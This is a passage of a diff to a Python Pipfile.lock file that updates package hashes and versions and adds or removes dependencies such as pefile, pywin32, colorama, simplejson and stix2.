"sha256:3f8fc59bc5d64fa41f58b0029794f474223693fd00016b29f4e176b3ee2cfd9f", - "sha256:3fc6a447735749d651d8919da49aab03c434a300e9f0af1c886d560405840fd1", - "sha256:40abb7fec4f6294225d2b5464bb6d9552050ded14a7516588d6f010e7e366dcc", - "sha256:44556302c0ab376e37939fd0058e1f0db2e769580d340fb03b01678d1ff25f68", - "sha256:476ba9435afaead4382fbab8f1882f75e3fb2285c35c9285abb3dd30237f9142", - "sha256:4870b018ca685ff573edd56b93f00a122f279640732bb52ce3a62b73ee5c4a92", - "sha256:4adaf53ace289ced90797d92d767d37e7cdc29f13bd3830c3f0a561277a4ae83", - "sha256:4eae94de9924bbb4d24960185363e614b1b62ff797c23dc3c8a7c75bbb8d187e", - "sha256:5317701c7ce167205c0569c10abc4bd01c7f4cf93f642c39f2ce975fa9b78a3c", - "sha256:5c3b735ccf8fc8048664ee415f8af5a3a018cc92010a0d7195395059b4b39b7d", - "sha256:5cde7ee190196cbdc078511f4df0be367af85636b84d8be32230f4871b960687", - "sha256:655ab836324a473d4cd8cf231a2d6f283ed71ed77037679da554e38e606a7117", - "sha256:6ce9d0784c3c79f3e5c5c9c9517bbb6c7e8aa12372a5ea95197b8a99402aa0e6", - "sha256:6e0696525500bc8aa12eae654095d2260db4dc95d5c35af2b486eae1bf914ccd", - "sha256:75ff270fd05125dce3303e9216ccddc541a9e072d4fc764a9276d44dee87242b", - "sha256:8039f5fe8030c43cd1732d9a234fdcbf4916fcc32e21745ca62e75023e4d4649", - "sha256:84488516639c3c5e5c0e52f311fff94ebc45b56788c2a3bfe9cf8e75670f4de3", - "sha256:84782c80a433d87530ae3f4b9ed58d4a57317d9918dfcc6a59115fa2d8731f2c", - "sha256:8ddb38fb6ad96c2ef7468ff73ba5c6876b63b664eebb2c919c224261ae5e8378", - "sha256:98b491976ed656be9445b79bc57ed21decf08a01aaaf5fdabf07c98c108111f6", - "sha256:990e0f5e64bcbc6bdbd03774ecb72496224d13b664aa03afd1f9b171a3269272", - "sha256:9b02e6039eafd75e029d8c58b7b1f3e450ca563ef1fe21c7e3e40b9936c8d03e", - "sha256:a11b6199a0b9dc868990456a2667167d0ba096c5224f6258e452bfbe5a9742c5", - "sha256:a414f8e14aa7bacfe1578f17c11d977e637d25383b6210587c29210af995ef04", - "sha256:a91ee268f059583176c2c8b012a9fce7e49ca6b333a12bbc2dd01fc1a9783885", - "sha256:ac991947ca6533ada4ce7095f0e28fe25d5b2f3266ad5b983ed4201e61596acf", - "sha256:b050dbb96216db273b56f0e5960959c2b4cb679fe1e58a0c3906fa0a60c00662", - "sha256:b97a807437b81f90f85022a9dcfd527deea38368a3979ccb49d93c9198b2c722", - "sha256:bad269e442f1b7ffa3fa8820b3c3aa66f02a9f9455b5ba2db5a6f9eea96f56de", - "sha256:bf3725d79b1ceb19e83fb1aed44095518c0fcff88fba06a76c0891cfd1f36837", - "sha256:c0f22774cd8294078bdf7392ac73cf00bfa1e5e0ed644bd064fdabc5f2a2f481", - "sha256:c1862f9f1031b1dee3ff00f1027fcd098ffc82120f43041fe67804b464bbd8a7", - "sha256:c8d4ed48eed7414ccb2aaaecbc733ed2a84c299714eae3f0f48db085342d5629", - "sha256:cf31e894dabb077a35bbe6963285d4515a387ff657bd25b0530c7168e48f167f", - "sha256:d15cb6f8706678dc47fb4e4f8b339937b04eda48a0af1cca95f180db552e7663", - "sha256:dfcb5a4056e161307d103bc013478892cfd919f1262c2bb8703220adcb986362", - "sha256:e02780da03f84a671bb4205c5968c120f18df081236d7b5462b380fd4f0b497b", - "sha256:e2002a59453858c7f3404690ae80f10c924a39f45f6095f18a985a1234c37334", - "sha256:e22a82d2b416d9227a500c6860cf13e74060cf10e7daf6695cbf4e6a94e0eee4", - "sha256:e41f72f225192d5d4df81dad2974a8943b0f2d664a2a5cfccdf5a01506f5523c", - "sha256:f253dad38605486a4590f9368ecbace95865fea0f2b66615d121ac91fd1a1563", - "sha256:fddfb31aa2ac550b938d952bca8a87f1db0f8dc930ffa14ce05b5c08d27e7fd1" + "sha256:00e44c8afdbe5467e4f7b5851be223be68adb4272f44696ee71fe46b7036a711", + "sha256:013d61294b6cd8fe3242932c1c5e36e5d1db2c8afb58606c5a67efce62c1f5fd", + "sha256:049fe7579230e44daef03a259faa24511d10ebfa44f69411d99e6a184fe68073", + "sha256:14d4f3cd4e8b524ae9b8aa567858beed70c392fdec26dbdb0a8a418392e71708", + "sha256:166eac03e48784a6a6e0e5f041cfebb1ab400b394db188c48b3a84737f505b67", + "sha256:17ff94e7a83aa8671a25bf5b59326ec26da379ace2ebc4411d690d80a7fbcf23", + "sha256:1e12bdc622676ce47ae9abbf455c189e442afdde8818d9da983085df6312e7a1", + "sha256:21915eb821a6b3d9d8eefdaf57d6c345b970ad722f856cd71739493ce003ad08", + "sha256:288c6a76705dc54fba69fbcb59904ae4ad768b4c768839b8ca5fdadec6dd8cfd", + "sha256:32ca72bbc673adbcfecb935bb3fb1b74e663d10a4b241aaa2f5a75fe1d1f90aa", + "sha256:356b3576ad078c89a6107caa9c50cc14e98e3a6c4874a37c3e0273e4baf33de8", + "sha256:40b951f601af999a8bf2ce8c71e8aaa4e8c6f78ff8afae7b808aae2dc50d4c40", + "sha256:572e1787d1460da79590bf44304abbc0a2da944ea64ec549188fa84d89bba7ab", + "sha256:58df5c2a0e293bf665a51f8a100d3e9956febfbf1d9aaf8c0677cf70218910c6", + "sha256:64e6175c2e53195278d7388c454e0b30997573f3f4bd63697f88d855f7a6a1fc", + "sha256:7227b47e73dedaa513cdebb98469705ef0d66eb5a1250144468e9c3097d6b59b", + "sha256:7418b6bfc7fe3331541b84bb2141c9baf1ec7132a7ecd9f375912eca810e714e", + "sha256:7cbd7574ce8e138bda9df4efc6bf2ab8572c9aff640d8ecfece1b006b68da963", + "sha256:7ff61ff178250f9bb3cd89752df0f1dd0e27316a8bd1465351652b1b4a4cdfd3", + "sha256:833e1551925ed51e6b44c800e71e77dacd7e49181fdc9ac9a0bf3714d515785d", + "sha256:8639cadfda96737427330a094476d4c7a56ac03de7265622fcf4cfe57c8ae18d", + "sha256:8c790abda465726cfb8bb08bd4ca9a5d0a7bd77c7ac1ca1b839ad823b948ea28", + "sha256:8d2f1fb53a421b410751887eb4ff21386d119ef9cde3797bf5e7ed49fb51a3b3", + "sha256:903bbd302a2378f984aef528f76d4c9b1748f318fe1294961c072bdc7f2ffa3e", + "sha256:93f81b134a165cc17123626ab8da2e30c0455441d4ab5576eed73a64c025b25c", + "sha256:95e69877983ea39b7303570fa6760f81a3eec23d0e3ab2021b7144b94d06202d", + "sha256:9633b3034d3d901f0a46b7939f8c4d64427dfba6bbc5a36b1a67364cf148a1b0", + "sha256:97e5306482182170ade15c4b0d8386ded995a07d7cc2ca8f27958d34d6736497", + "sha256:9f3cba480d3deb69f6ee2c1825060177a22c7826431458c697df88e6aeb3caee", + "sha256:aa5b467f15e78b82257319aebc78dd2915e4c1436c3c0d1ad6f53e47ba6e2713", + "sha256:abb7a75ed8b968f3061327c433a0fbd17b729947b400747c334a9c29a9af6c58", + "sha256:aec52725173bd3a7b56fe91bc56eccb26fbdff1386ef123abb63c84c5b43b63a", + "sha256:b11548073a2213d950c3f671aa88e6f83cda6e2fb97a8b6317b1b5b33d850e06", + "sha256:b1692f7d6bc45e3200844be0dba153612103db241691088626a33ff1f24a0d88", + "sha256:b92e29e58bef6d9cfd340c72b04d74c4b4e9f70c9fa7c78b674d1fec18896dc4", + "sha256:be5f425ff1f5f4b3c1e33ad64ab994eed12fc284a6ea71c5243fd564502ecbe5", + "sha256:dd0b1e9e891f69e7675ba5c92e28b90eaa045f6ab134ffe70b52e948aa175b3c", + "sha256:e30f5ea4ae2346e62cedde8794a56858a67b878dd79f7df76a0767e356b1744a", + "sha256:e6a36bb9474218c7a5b27ae476035497a6990e21d04c279884eb10d9b290f1b1", + "sha256:e859fcb4cbe93504ea18008d1df98dee4f7766db66c435e4882ab35cf70cac43", + "sha256:eb6ea6da4c787111adf40f697b4e58732ee0942b5d3bd8f435277643329ba627", + "sha256:ec8c433b3ab0419100bd45b47c9c8551248a5aee30ca5e9d399a0b57ac04651b", + "sha256:eff9d20417ff9dcb0d25e2defc2574d10b491bf2e693b4e491914738b7908168", + "sha256:f0214eb2a23b85528310dad848ad2ac58e735612929c8072f6093f3585fd342d", + "sha256:f276df9830dba7a333544bd41070e8175762a7ac20350786b322b714b0e654f5", + "sha256:f3acda1924472472ddd60c29e5b9db0cec629fbe3c5c5accb74d6d6d14773478", + "sha256:f70a9e237bb792c7cc7e44c531fd48f5897961701cdaa06cf22fc14965c496cf", + "sha256:f9d29ca8a77117315101425ec7ec2a47a22ccf59f5593378fc4077ac5b754fce", + "sha256:fa877ca7f6b48054f847b61d6fa7bed5cebb663ebc55e018fda12db09dcc664c", + "sha256:fdcec0b8399108577ec290f55551d926d9a1fa6cad45882093a7a07ac5ec147b" ], "markers": "platform_python_implementation == 'CPython'", - "version": "==1.1.1" + "version": "==1.1.2" }, "httpagentparser": { "hashes": [ @@ -585,6 +586,13 @@ "index": "pypi", "version": "==0.11.0" }, + "pefile": { + "hashes": [ + "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" + ], + "markers": "python_version >= '3.6'", + "version": "==2021.9.3" + }, "policyuniverse": { "hashes": [ "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", @@ -793,6 +801,15 @@ ], "version": "==3.12.0" }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "python_version < '3.8' and sys_platform == 'win32'", + "version": "==2.1" + }, "pyrsistent": { "hashes": [ "sha256:097b96f129dd36a8c9e33594e7ebb151b1515eb52cceb08474c10a5479e799f2", @@ -835,6 +852,29 @@ ], "version": "==2021.1" }, + "pywin32": { + "hashes": [ + "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", + "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", + "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", + "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", + "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", + "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", + "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", + "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", + "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", + "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" + ], + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "version": "==301" + }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "version": "==0.2.0" + }, "pyyaml": { "hashes": [ "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf", @@ -880,10 +920,10 @@ }, "ring": { "hashes": [ - "sha256:f0853e3645a255ecf26291283afd520834ba50d2e0a1d44d930e5bdb944001c4" + "sha256:b077ec88c2dc179514a8e1fccd37fb1d5a6d2688891bb6e1ed9c33c4970e5424" ], "index": "pypi", - "version": "==0.9.0" + "version": "==0.9.1" }, "rsa": { "hashes": [ @@ -905,58 +945,6 @@ "git": "https://github.com/guardicode/ScoutSuite", "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" }, - "simplejson": { - "hashes": [ - "sha256:065230b9659ac38c8021fa512802562d122afb0cf8d4b89e257014dcddb5730a", - "sha256:07707ba69324eaf58f0c6f59d289acc3e0ed9ec528dae5b0d4219c0d6da27dc5", - "sha256:10defa88dd10a0a4763f16c1b5504e96ae6dc68953cfe5fc572b4a8fcaf9409b", - "sha256:140eb58809f24d843736edb8080b220417e22c82ac07a3dfa473f57e78216b5f", - "sha256:188f2c78a8ac1eb7a70a4b2b7b9ad11f52181044957bf981fb3e399c719e30ee", - "sha256:1c2688365743b0f190392e674af5e313ebe9d621813d15f9332e874b7c1f2d04", - "sha256:24e413bd845bd17d4d72063d64e053898543fb7abc81afeae13e5c43cef9c171", - "sha256:2b59acd09b02da97728d0bae8ff48876d7efcbbb08e569c55e2d0c2e018324f5", - "sha256:2df15814529a4625ea6f7b354a083609b3944c269b954ece0d0e7455872e1b2a", - "sha256:352c11582aa1e49a2f0f7f7d8fd5ec5311da890d1354287e83c63ab6af857cf5", - "sha256:36b08b886027eac67e7a0e822e3a5bf419429efad7612e69501669d6252a21f2", - "sha256:376023f51edaf7290332dacfb055bc00ce864cb013c0338d0dea48731f37e42f", - "sha256:3ba82f8b421886f4a2311c43fb98faaf36c581976192349fef2a89ed0fcdbdef", - "sha256:3d72aa9e73134dacd049a2d6f9bd219f7be9c004d03d52395831611d66cedb71", - "sha256:40ece8fa730d1a947bff792bcc7824bd02d3ce6105432798e9a04a360c8c07b0", - "sha256:417b7e119d66085dc45bdd563dcb2c575ee10a3b1c492dd3502a029448d4be1c", - "sha256:42b7c7264229860fe879be961877f7466d9f7173bd6427b3ba98144a031d49fb", - "sha256:457d9cfe7ece1571770381edccdad7fc255b12cd7b5b813219441146d4f47595", - "sha256:4a6943816e10028eeed512ea03be52b54ea83108b408d1049b999f58a760089b", - "sha256:5b94df70bd34a3b946c0eb272022fb0f8a9eb27cad76e7f313fedbee2ebe4317", - "sha256:5f5051a13e7d53430a990604b532c9124253c5f348857e2d5106d45fc8533860", - "sha256:5f7f53b1edd4b23fb112b89208377480c0bcee45d43a03ffacf30f3290e0ed85", - "sha256:5fe8c6dcb9e6f7066bdc07d3c410a2fca78c0d0b4e0e72510ffd20a60a20eb8e", - "sha256:71a54815ec0212b0cba23adc1b2a731bdd2df7b9e4432718b2ed20e8aaf7f01a", - "sha256:7332f7b06d42153255f7bfeb10266141c08d48cc1a022a35473c95238ff2aebc", - "sha256:78c6f0ed72b440ebe1892d273c1e5f91e55e6861bea611d3b904e673152a7a4c", - "sha256:7c9b30a2524ae6983b708f12741a31fbc2fb8d6fecd0b6c8584a62fd59f59e09", - "sha256:86fcffc06f1125cb443e2bed812805739d64ceb78597ac3c1b2d439471a09717", - "sha256:87572213965fd8a4fb7a97f837221e01d8fddcfb558363c671b8aa93477fb6a2", - "sha256:8e595de17178dd3bbeb2c5b8ea97536341c63b7278639cb8ee2681a84c0ef037", - "sha256:917f01db71d5e720b731effa3ff4a2c702a1b6dacad9bcdc580d86a018dfc3ca", - "sha256:91cfb43fb91ff6d1e4258be04eee84b51a4ef40a28d899679b9ea2556322fb50", - "sha256:aa86cfdeb118795875855589934013e32895715ec2d9e8eb7a59be3e7e07a7e1", - "sha256:ade09aa3c284d11f39640aebdcbb748e1996f0c60504f8c4a0c5a9fec821e67a", - "sha256:b2a5688606dffbe95e1347a05b77eb90489fe337edde888e23bbb7fd81b0d93b", - "sha256:b92fbc2bc549c5045c8233d954f3260ccf99e0f3ec9edfd2372b74b350917752", - "sha256:c2d5334d935af711f6d6dfeec2d34e071cdf73ec0df8e8bd35ac435b26d8da97", - "sha256:cb0afc3bad49eb89a579103616574a54b523856d20fc539a4f7a513a0a8ba4b2", - "sha256:ce66f730031b9b3683b2fc6ad4160a18db86557c004c3d490a29bf8d450d7ab9", - "sha256:e29b9cea4216ec130df85d8c36efb9985fda1c9039e4706fb30e0fb6a67602ff", - "sha256:e2cc4b68e59319e3de778325e34fbff487bfdb2225530e89995402989898d681", - "sha256:e90d2e219c3dce1500dda95f5b893c293c4d53c4e330c968afbd4e7a90ff4a5b", - "sha256:f13c48cc4363829bdfecc0c181b6ddf28008931de54908a492dc8ccd0066cd60", - "sha256:f550730d18edec4ff9d4252784b62adfe885d4542946b6d5a54c8a6521b56afd", - "sha256:fa843ee0d34c7193f5a816e79df8142faff851549cab31e84b526f04878ac778", - "sha256:fe1c33f78d2060719d52ea9459d97d7ae3a5b707ec02548575c4fbed1d1d345b" - ], - "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==3.17.5" - }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -971,20 +959,6 @@ ], "version": "==1.7.0" }, - "stix2": { - "hashes": [ - "sha256:b9b2200e5c429a0a49d67c8902638d2f97df2ba4321e15dde067c5cb80c9e8e1" - ], - "index": "pypi", - "version": "==3.0.0" - }, - "stix2-patterns": { - "hashes": [ - "sha256:174fe5302d2c3223205033af987754132a9ea45a9f8e08aefafbe0549c889ea4", - "sha256:bc46cc4eba44b76a17eab7a3ff67f35203543cdb918ab24c1ebd58403fa27992" - ], - "version": "==1.3.2" - }, "tempora": { "hashes": [ "sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950", @@ -1012,11 +986,11 @@ }, "urllib3": { "hashes": [ - "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4", - "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f" + "sha256:4987c65554f7a2dbf30c18fd48778ef124af6fab771a377103da0585e2336ece", + "sha256:c4fdf4019605b6e5423637e01bc9fe4daef873709a7973e195ceba0a62bbc844" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.6" + "version": "==1.26.7" }, "werkzeug": { "hashes": [ @@ -1041,11 +1015,11 @@ }, "zipp": { "hashes": [ - "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", - "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", + "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" ], "markers": "python_version >= '3.6'", - "version": "==3.5.0" + "version": "==3.6.0" }, "zope.event": { "hashes": [ @@ -1120,6 +1094,14 @@ ], "version": "==1.4.4" }, + "atomicwrites": { + "hashes": [ + "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", + "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.4.0" + }, "attrs": { "hashes": [ "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", @@ -1166,6 +1148,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.1" }, + "colorama": { + "hashes": [ + "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", + "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" + ], + "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "version": "==0.4.3" + }, "coverage": { "hashes": [ "sha256:004d1880bed2d97151facef49f08e255a20ceb6f9432df75f4eef018fdd5a78c", @@ -1240,10 +1230,11 @@ }, "filelock": { "hashes": [ - "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59", - "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836" + "sha256:61a99e9b12b47b685d1389f4cf969c1eba0efd2348a8471f86e01e8c622267af", + "sha256:85ecb30757aa19d06bfcdad29cc332b9a3e4851bf59976aea1e8dadcbd9ef883" ], - "version": "==3.0.12" + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==3.2.0" }, "flake8": { "hashes": [ @@ -1323,11 +1314,11 @@ }, "platformdirs": { "hashes": [ - "sha256:15b056538719b1c94bdaccb29e5f81879c7f7f0f4a153f46086d155dffcd4f0f", - "sha256:8003ac87717ae2c7ee1ea5a84a1a61e87f3fbd16eb5aadba194ea30a9019f648" + "sha256:367a5e80b3d04d2428ffa76d33f124cf11e8fff2acdaa9b43d545f5c7d661ef2", + "sha256:8868bbe3c3c80d42f20156f22e7131d2fb321f5bc86a2a345375c6481a67021d" ], "markers": "python_version >= '3.6'", - "version": "==2.3.0" + "version": "==2.4.0" }, "pluggy": { "hashes": [ @@ -1387,49 +1378,49 @@ }, "regex": { "hashes": [ - "sha256:04f6b9749e335bb0d2f68c707f23bb1773c3fb6ecd10edf0f04df12a8920d468", - "sha256:08d74bfaa4c7731b8dac0a992c63673a2782758f7cfad34cf9c1b9184f911354", - "sha256:0fc1f8f06977c2d4f5e3d3f0d4a08089be783973fc6b6e278bde01f0544ff308", - "sha256:121f4b3185feaade3f85f70294aef3f777199e9b5c0c0245c774ae884b110a2d", - "sha256:1413b5022ed6ac0d504ba425ef02549a57d0f4276de58e3ab7e82437892704fc", - "sha256:1743345e30917e8c574f273f51679c294effba6ad372db1967852f12c76759d8", - "sha256:28fc475f560d8f67cc8767b94db4c9440210f6958495aeae70fac8faec631797", - "sha256:31a99a4796bf5aefc8351e98507b09e1b09115574f7c9dbb9cf2111f7220d2e2", - "sha256:328a1fad67445550b982caa2a2a850da5989fd6595e858f02d04636e7f8b0b13", - "sha256:473858730ef6d6ff7f7d5f19452184cd0caa062a20047f6d6f3e135a4648865d", - "sha256:4cde065ab33bcaab774d84096fae266d9301d1a2f5519d7bd58fc55274afbf7a", - "sha256:5f6a808044faae658f546dd5f525e921de9fa409de7a5570865467f03a626fc0", - "sha256:610b690b406653c84b7cb6091facb3033500ee81089867ee7d59e675f9ca2b73", - "sha256:66256b6391c057305e5ae9209941ef63c33a476b73772ca967d4a2df70520ec1", - "sha256:6eebf512aa90751d5ef6a7c2ac9d60113f32e86e5687326a50d7686e309f66ed", - "sha256:79aef6b5cd41feff359acaf98e040844613ff5298d0d19c455b3d9ae0bc8c35a", - "sha256:808ee5834e06f57978da3e003ad9d6292de69d2bf6263662a1a8ae30788e080b", - "sha256:8e44769068d33e0ea6ccdf4b84d80c5afffe5207aa4d1881a629cf0ef3ec398f", - "sha256:999ad08220467b6ad4bd3dd34e65329dd5d0df9b31e47106105e407954965256", - "sha256:9b006628fe43aa69259ec04ca258d88ed19b64791693df59c422b607b6ece8bb", - "sha256:9d05ad5367c90814099000442b2125535e9d77581855b9bee8780f1b41f2b1a2", - "sha256:a577a21de2ef8059b58f79ff76a4da81c45a75fe0bfb09bc8b7bb4293fa18983", - "sha256:a617593aeacc7a691cc4af4a4410031654f2909053bd8c8e7db837f179a630eb", - "sha256:abb48494d88e8a82601af905143e0de838c776c1241d92021e9256d5515b3645", - "sha256:ac88856a8cbccfc14f1b2d0b829af354cc1743cb375e7f04251ae73b2af6adf8", - "sha256:b4c220a1fe0d2c622493b0a1fd48f8f991998fb447d3cd368033a4b86cf1127a", - "sha256:b844fb09bd9936ed158ff9df0ab601e2045b316b17aa8b931857365ea8586906", - "sha256:bdc178caebd0f338d57ae445ef8e9b737ddf8fbc3ea187603f65aec5b041248f", - "sha256:c206587c83e795d417ed3adc8453a791f6d36b67c81416676cad053b4104152c", - "sha256:c61dcc1cf9fd165127a2853e2c31eb4fb961a4f26b394ac9fe5669c7a6592892", - "sha256:c7cb4c512d2d3b0870e00fbbac2f291d4b4bf2634d59a31176a87afe2777c6f0", - "sha256:d4a332404baa6665b54e5d283b4262f41f2103c255897084ec8f5487ce7b9e8e", - "sha256:d5111d4c843d80202e62b4fdbb4920db1dcee4f9366d6b03294f45ed7b18b42e", - "sha256:e1e8406b895aba6caa63d9fd1b6b1700d7e4825f78ccb1e5260551d168db38ed", - "sha256:e8690ed94481f219a7a967c118abaf71ccc440f69acd583cab721b90eeedb77c", - "sha256:ed283ab3a01d8b53de3a05bfdf4473ae24e43caee7dcb5584e86f3f3e5ab4374", - "sha256:ed4b50355b066796dacdd1cf538f2ce57275d001838f9b132fab80b75e8c84dd", - "sha256:ee329d0387b5b41a5dddbb6243a21cb7896587a651bebb957e2d2bb8b63c0791", - "sha256:f3bf1bc02bc421047bfec3343729c4bbbea42605bcfd6d6bfe2c07ade8b12d2a", - "sha256:f585cbbeecb35f35609edccb95efd95a3e35824cd7752b586503f7e6087303f1", - "sha256:f60667673ff9c249709160529ab39667d1ae9fd38634e006bec95611f632e759" + "sha256:0de8ad66b08c3e673b61981b9e3626f8784d5564f8c3928e2ad408c0eb5ac38c", + "sha256:1f1125bc5172ab3a049bc6f4b9c0aae95a2a2001a77e6d6e4239fa3653e202b5", + "sha256:255791523f80ea8e48e79af7120b4697ef3b74f6886995dcdb08c41f8e516be0", + "sha256:28040e89a04b60d579c69095c509a4f6a1a5379cd865258e3a186b7105de72c6", + "sha256:37868075eda024470bd0feab872c692ac4ee29db1e14baec103257bf6cc64346", + "sha256:3b71213ec3bad9a5a02e049f2ec86b3d7c3e350129ae0f4e2f99c12b5da919ed", + "sha256:3be40f720af170a6b20ddd2ad7904c58b13d2b56f6734ee5d09bbdeed2fa4816", + "sha256:42952d325439ef223e4e9db7ee6d9087b5c68c5c15b1f9de68e990837682fc7b", + "sha256:470f2c882f2672d8eeda8ab27992aec277c067d280b52541357e1acd7e606dae", + "sha256:4907fb0f9b9309a5bded72343e675a252c2589a41871874feace9a05a540241e", + "sha256:4d87459ad3ab40cd8493774f8a454b2e490d8e729e7e402a0625867a983e4e02", + "sha256:4fa7ba9ab2eba7284e0d7d94f61df7af86015b0398e123331362270d71fab0b9", + "sha256:5b34d2335d6aedec7dcadd3f8283b9682fadad8b9b008da8788d2fce76125ebe", + "sha256:6348a7ab2a502cbdd0b7fd0496d614007489adb7361956b38044d1d588e66e04", + "sha256:638e98d069b14113e8afba6a54d1ca123f712c0d105e67c1f9211b2a825ef926", + "sha256:66696c8336a1b5d1182464f3af3427cc760118f26d0b09a2ddc16a976a4d2637", + "sha256:78cf6a1e023caf5e9a982f5377414e1aeac55198831b852835732cfd0a0ca5ff", + "sha256:81e125d9ba54c34579e4539a967e976a3c56150796674aec318b1b2f49251be7", + "sha256:81fdc90f999b2147fc62e303440c424c47e5573a9b615ed5d43a5b832efcca9e", + "sha256:87e9c489aa98f50f367fb26cc9c8908d668e9228d327644d7aa568d47e456f47", + "sha256:8c1ad61fa024195136a6b7b89538030bd00df15f90ac177ca278df9b2386c96f", + "sha256:9910869c472e5a6728680ca357b5846546cbbd2ab3ad5bef986ef0bc438d0aa6", + "sha256:9925985be05d54b3d25fd6c1ea8e50ff1f7c2744c75bdc4d3b45c790afa2bcb3", + "sha256:9a0b0db6b49da7fa37ca8eddf9f40a8dbc599bad43e64f452284f37b6c34d91c", + "sha256:9c065d95a514a06b92a5026766d72ac91bfabf581adb5b29bc5c91d4b3ee9b83", + "sha256:a6f08187136f11e430638c2c66e1db091105d7c2e9902489f0dbc69b44c222b4", + "sha256:ad0517df22a97f1da20d8f1c8cb71a5d1997fa383326b81f9cf22c9dadfbdf34", + "sha256:b345ecde37c86dd7084c62954468a4a655fd2d24fd9b237949dd07a4d0dd6f4c", + "sha256:b55442650f541d195a535ccec33078c78a9521973fb960923da7515e9ed78fa6", + "sha256:c2b180ed30856dfa70cfe927b0fd38e6b68198a03039abdbeb1f2029758d87e7", + "sha256:c9e30838df7bfd20db6466fd309d9b580d32855f8e2c2e6d74cf9da27dcd9b63", + "sha256:cae4099031d80703954c39680323dabd87a69b21262303160776aa0e55970ca0", + "sha256:ce7b1cca6c23f19bee8dc40228d9c314d86d1e51996b86f924aca302fc8f8bf9", + "sha256:d0861e7f6325e821d5c40514c551fd538b292f8cc3960086e73491b9c5d8291d", + "sha256:d331f238a7accfbbe1c4cd1ba610d4c087b206353539331e32a8f05345c74aec", + "sha256:e07049cece3462c626d650e8bf42ddbca3abf4aa08155002c28cb6d9a5a281e2", + "sha256:e2cb7d4909ed16ed35729d38af585673f1f0833e73dfdf0c18e5be0061107b99", + "sha256:e3770781353a4886b68ef10cec31c1f61e8e3a0be5f213c2bb15a86efd999bc4", + "sha256:e502f8d4e5ef714bcc2c94d499684890c94239526d61fdf1096547db91ca6aa6", + "sha256:e6f2d2f93001801296fe3ca86515eb04915472b5380d4d8752f09f25f0b9b0ed", + "sha256:f588209d3e4797882cd238195c175290dbc501973b10a581086b5c6bcd095ffb" ], - "version": "==2021.8.28" + "version": "==2021.9.30" }, "requests": { "hashes": [ @@ -1515,19 +1506,19 @@ }, "urllib3": { "hashes": [ - "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4", - "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f" + "sha256:4987c65554f7a2dbf30c18fd48778ef124af6fab771a377103da0585e2336ece", + "sha256:c4fdf4019605b6e5423637e01bc9fe4daef873709a7973e195ceba0a62bbc844" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", - "version": "==1.26.6" + "version": "==1.26.7" }, "virtualenv": { "hashes": [ - "sha256:4da4ac43888e97de9cf4fdd870f48ed864bbfd133d2c46cbdec941fed4a25aef", - 